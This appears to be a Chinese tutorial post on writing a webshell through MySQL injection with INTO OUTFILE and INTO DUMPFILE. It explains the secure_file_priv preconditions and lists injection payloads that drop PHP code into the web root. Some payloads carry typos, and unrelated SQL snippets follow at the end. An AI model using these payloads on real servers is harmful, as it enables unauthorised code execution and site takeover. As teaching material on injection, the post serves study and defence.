知識整理 利用SQL語句寫shell的方法

2021-10-04 05:58:22 字數 2195 閱讀 6448

要利用sql寫shell就需要在配置中滿足以下條件:

在mysql的配置檔案my.ini中,secure_file_priv為空(被注釋掉或不填)或者secure_file_priv配置是目錄位址。

未開啟全域性gpc

關於mysql的secure_file_priv屬性得多說幾句

當secure_file_priv為空時,mysql對匯入匯出檔案是沒有限制的

當secure_file_priv為目錄位址時,mysql可以在目錄位置下進行匯入匯出操作

當secure_file_priv為null時,mysql就不能進行匯入匯出操作

使用sql語句select @@secure_file_priv即可查詢引數的內容,從而判斷該資料是否可以進行匯入匯出操作。

下面就進入正題,關於利用sql語句寫shell的方法

這個方法是非常常見的方法,在union select 後拼接into dumpfileinto outfile來進行寫shell

?id=1』 union select 1,2,』<?php phpinfo();?>』 into dumpfile 『c:/www/info.php』#

?id=1』 union select 1,2,』<?php phpinfo();?>』 into outfile 『c:/www/info.php』#

?id=1』 into outfile 『c:/www/info.php』 lines terminated by 『<?php phpinfo();?>』#

?id=1』 imit 1 into outfile 『c:/www/info.php』 lines terminated by 『<?php phpinfo();?>』#

拼接sql語句後,資料庫處理的sql語句

select * from tables where id = 1' into outfile 'c:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';
注入原理

通過select語句查詢的內容寫入檔案。

lines terminated by xx的作用是在每行終止的位置新增xx內容。

?id=1』 into outfile 『c:/www/info.php』 lines starting by 『<?php phpinfo();?>』#

?id=1』 imit 1 into outfile 『c:/www/info.php』 lines starting by 『<?php phpinfo();?>』#

注入原理

ines starting by xx可以理解為 以每行開始的位置新增 xx 內容。

?id=1』 into outfile 『c:/www/info.php』 fields terminated by 『<?php phpinfo();?>』#

?id=1』 imit 1 into outfile 『c:/www/info.php』 fields terminated by 『<?php phpinfo();?>』#

注入原理

fields terminated by xx可以理解為 以每個欄位的位置新增 xx 內容。

?id=1』 into outfile 『c:/www/info.php』 columns terminated by 『<?php phpinfo();?>』#

?id=1』 imit 1 into outfile 『c:/www/info.php』 columns terminated by 『<?php phpinfo();?>』#

注入原理

columns terminated by xx可以理解為以每列的位置新增 xx 內容。

參考資料

sql語句整理

建立表 create table teacher id int 11 not null auto increment,teaname varchar 10 not null,varchar 10 not null,course varchar 10 not null,primary key id e...

sql語句整理

mysql 命令大全 1 修改主鍵id的遞增預設值 alter table tablename auto increment 100000 2 將表重新命名 alter table oldtablename rename to newtablename 3 為表新增新的字段 alter table ...

SQL知識整理

select top 子句用於規定要返回的記錄的數目。select top 子句對於擁有數千條記錄的大型表來說,是非常有用的。select top number percent column name s from table name like 操作符用於在 where 子句中搜尋列中的指定模式。...